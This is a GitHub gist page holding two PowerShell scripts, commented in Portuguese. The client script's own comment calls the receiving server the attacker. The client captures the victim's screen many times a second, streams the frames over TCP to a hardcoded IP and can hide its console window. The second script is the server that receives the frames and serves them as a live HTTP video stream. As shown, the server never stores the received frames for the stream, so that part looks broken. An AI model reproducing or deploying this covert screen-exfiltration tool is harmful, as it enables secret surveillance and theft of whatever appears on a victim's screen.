Instantly share code, notes, and snippets.
Last active
April 24, 2025 21:22
-
Star
0
(0)
You must be signed in to star a gist -
Fork
0
(0)
You must be signed in to fork a gist
-
Save zr0n/44291c8c6459192d60a36ad7ec677dad to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Configurações do Servidor (Atacante) | |
$serverIP = "192.168.0.47" # Substituir pelo IP do servidor | |
$serverPort = 8082 | |
# Ocultar a janela do console (1 = sim) | |
$hide = 1 | |
[Console]::BackgroundColor = "Black" | |
Clear-Host | |
[Console]::Title = "Reverse Screen Client" | |
Add-Type -AssemblyName System.Windows.Forms | |
Add-Type -AssemblyName System.Drawing | |
try { | |
# Conectar ao servidor | |
$client = New-Object System.Net.Sockets.TcpClient($serverIP, $serverPort) | |
$stream = $client.GetStream() | |
Write-Host "Conectado ao servidor." -ForegroundColor Green | |
# Verificar tecla de escape para sair | |
Add-Type @" | |
using System; | |
using System.Runtime.InteropServices; | |
public class Keyboard { | |
[DllImport("user32.dll")] | |
public static extern short GetAsyncKeyState(int vKey); | |
} | |
"@ | |
$VK_ESCAPE = 0x1B | |
$startTime = $null | |
# Loop de captura e envio de frames | |
while ($true) { | |
# Capturar tela | |
$screen = [System.Windows.Forms.Screen]::PrimaryScreen | |
$originalBitmap = New-Object System.Drawing.Bitmap($screen.Bounds.Width, $screen.Bounds.Height) | |
$graphics = [System.Drawing.Graphics]::FromImage($originalBitmap) | |
$graphics.CopyFromScreen($screen.Bounds.X, $screen.Bounds.Y, 0, 0, $screen.Bounds.Size) | |
# Reduzir resolução (1280x720) | |
$resizedBitmap = New-Object System.Drawing.Bitmap($originalBitmap, [System.Drawing.Size]::new(1280, 720)) | |
# Converter para PNG | |
$ms = New-Object System.IO.MemoryStream | |
$resizedBitmap.Save($ms, [System.Drawing.Imaging.ImageFormat]::Png) | |
$bytes = $ms.ToArray() | |
# Enviar dados | |
$lengthBytes = [System.BitConverter]::GetBytes($bytes.Length) | |
$stream.Write($lengthBytes, 0, 4) | |
$stream.Write($bytes, 0, $bytes.Length) | |
Write-Host "[Cliente] Frame enviado ($($bytes.Length) bytes)" -ForegroundColor Green | |
# Liberar recursos | |
$ms.Dispose() | |
$graphics.Dispose() | |
$originalBitmap.Dispose() | |
$resizedBitmap.Dispose() | |
Start-Sleep -Milliseconds 33 | |
# Verificar ESC pressionado | |
if ([Keyboard]::GetAsyncKeyState($VK_ESCAPE) -lt 0) { | |
if (-not $startTime) { $startTime = Get-Date } | |
if ((Get-Date - $startTime).TotalSeconds -ge 5) { | |
(New-Object -ComObject Wscript.Shell).Popup("Conexão encerrada.",3,"Info",0x0) | |
break | |
} | |
} else { $startTime = $null } | |
} | |
} finally { | |
if ($stream) { $stream.Close() } | |
if ($client) { $client.Close() } | |
Write-Host "Conexão fechada." -ForegroundColor Red | |
} | |
# Ocultar console (se necessário) | |
if ($hide -eq 1) { | |
$signature = @" | |
[DllImport("user32.dll")] | |
public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow); | |
"@ | |
$type = Add-Type -MemberDefinition $signature -Name Win32ShowWindowAsync -Namespace Win32Functions -PassThru | |
$hwnd = (Get-Process -PID $PID).MainWindowHandle | |
if ($hwnd -ne [IntPtr]::Zero) { | |
$type::ShowWindowAsync($hwnd, 0) | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#requires -Version 5 | |
Add-Type -AssemblyName System.Windows.Forms, System.Drawing | |
# Configuração de segurança para permitir interrupção | |
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 | |
# Configurações | |
$httpPort = 8080 | |
$tcpPort = 8082 | |
# Objeto para controle de estado | |
$global:serverState = [PSCustomObject]@{ | |
Running = $true | |
LatestFrame = $null | |
FrameLock = [System.Threading.Mutex]::new() | |
} | |
# Função para tratamento de Ctrl+C | |
$consoleHandler = [System.ConsoleCancelEventHandler]{ | |
Write-Host "`nEncerrando servidor..." -ForegroundColor Yellow | |
$global:serverState.Running = $false | |
$host.UI.RawUI.FlushInputBuffer() # Limpa buffer de entrada | |
} | |
[System.Console]::add_CancelKeyPress($consoleHandler) | |
# Servidor TCP assíncrono | |
$tcpServer = { | |
param($state) | |
Add-Type -AssemblyName System.Net.Sockets | |
try { | |
$listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Any, $tcpPort) | |
$listener.Start() | |
Write-Host "[TCP] Servidor iniciado na porta $tcpPort" -ForegroundColor Cyan | |
while ($state.Running) { | |
if ($listener.Pending()) { | |
$client = $listener.AcceptTcpClient() | |
$client.ReceiveTimeout = 5000 | |
Write-Host "[TCP] Conexão recebida: $($client.Client.RemoteEndPoint)" -ForegroundColor Green | |
$stream = $client.GetStream() | |
try { | |
while ($client.Connected -and $state.Running) { | |
# Leitura dos dados | |
$lengthBytes = New-Object byte[] 4 | |
$bytesRead = $stream.Read($lengthBytes, 0, 4) | |
if ($bytesRead -ne 4) { | |
Write-Host "[TCP] Conexão fechada pelo cliente" -ForegroundColor Yellow | |
break | |
} | |
$length = [BitConverter]::ToInt32($lengthBytes, 0) | |
$imageBytes = New-Object byte[] $length | |
$totalRead = 0 | |
# Leitura em chunks | |
try { | |
while ($totalRead -lt $length) { | |
$read = $stream.Read($imageBytes, $totalRead, ($length - $totalRead)) | |
if ($read -eq 0) { | |
Write-Host "[TCP] Conexão fechada pelo cliente durante a leitura" -ForegroundColor Yellow | |
break | |
} | |
$totalRead += $read | |
} | |
if ($totalRead -eq $length) { | |
Write-Host "[TCP] Frame processado com sucesso ($length bytes)" -ForegroundColor Green | |
} else { | |
Write-Host "[TCP] Dados corrompidos: $totalRead/$length bytes recebidos" -ForegroundColor Red | |
# Descarta dados inválidos | |
$stream.Read((New-Object byte[] 8192), 0, 8192) | Out-Null | |
} | |
} catch [System.Net.Sockets.SocketException] { | |
Write-Host "[TCP] Erro de socket: $($_.SocketErrorCode)" -ForegroundColor Red | |
} | |
} | |
} finally { | |
$stream.Dispose() | |
$client.Dispose() | |
} | |
} | |
Start-Sleep -Milliseconds 100 | |
} | |
} finally { | |
$listener.Stop() | |
Write-Host "[TCP] Servidor TCP encerrado" -ForegroundColor Red | |
} | |
} | |
# Servidor HTTP assíncrono | |
$httpServer = { | |
param($state) | |
$listener = [System.Net.HttpListener]::new() | |
$listener.Prefixes.Add("http://*:$httpPort/") | |
$listener.Start() | |
Write-Host "[HTTP] Servidor HTTP iniciado na porta $httpPort" -ForegroundColor Cyan | |
try { | |
while ($state.Running) { | |
$context = $listener.GetContext() | |
$response = $context.Response | |
if ($context.Request.Url.LocalPath -eq "/stream") { | |
$response.ContentType = "multipart/x-mixed-replace; boundary=frame" | |
$response.Headers.Add("Cache-Control", "no-cache") | |
$response.SendChunked = $true | |
try { | |
while ($state.Running) { | |
$state.FrameLock.WaitOne() | |
$frame = $state.LatestFrame | |
$state.FrameLock.ReleaseMutex() | |
if ($frame) { | |
$header = [Text.Encoding]::ASCII.GetBytes( | |
"`r`n--frame`r`nContent-Type: image/png`r`nContent-Length: $($frame.Length)`r`n`r`n" | |
) | |
$response.OutputStream.Write($header, 0, $header.Length) | |
$response.OutputStream.Write($frame, 0, $frame.Length) | |
$response.OutputStream.Flush() | |
} | |
Start-Sleep -Milliseconds 33 | |
} | |
} finally { | |
$response.Close() | |
} | |
} else { | |
# Página HTML | |
$html = @" | |
<!DOCTYPE html> | |
<html><head><title>Screen Stream</title></head> | |
<body style="margin:0;background:black"> | |
<img src="/stream" style="width:100%;height:auto"> | |
</body></html> | |
"@ | |
$buffer = [Text.Encoding]::UTF8.GetBytes($html) | |
$response.ContentType = "text/html" | |
$response.OutputStream.Write($buffer, 0, $buffer.Length) | |
$response.Close() | |
} | |
} | |
} finally { | |
$listener.Stop() | |
Write-Host "[HTTP] Servidor HTTP encerrado" -ForegroundColor Red | |
} | |
} | |
# Iniciar servidores em runspaces separados | |
$tcpRunspace = [RunspaceFactory]::CreateRunspace() | |
$tcpRunspace.Open() | |
$tcpJob = [PowerShell]::Create().AddScript($tcpServer).AddArgument($global:serverState) | |
$tcpJob.Runspace = $tcpRunspace | |
$tcpHandle = $tcpJob.BeginInvoke() | |
$httpRunspace = [RunspaceFactory]::CreateRunspace() | |
$httpRunspace.Open() | |
$httpJob = [PowerShell]::Create().AddScript($httpServer).AddArgument($global:serverState) | |
$httpJob.Runspace = $httpRunspace | |
$httpHandle = $httpJob.BeginInvoke() | |
# Loop de controle principal | |
try { | |
while ($global:serverState.Running) { | |
Start-Sleep -Seconds 1 | |
Write-Host "." -NoNewline # Keep-alive visual | |
} | |
} finally { | |
# Limpeza | |
$global:serverState.Running = $false | |
$tcpJob.EndInvoke($tcpHandle) | |
$httpJob.EndInvoke($httpHandle) | |
$tcpRunspace.Dispose() | |
$httpRunspace.Dispose() | |
[System.GC]::Collect() | |
Write-Host "`nServidor completamente encerrado" -ForegroundColor Green | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment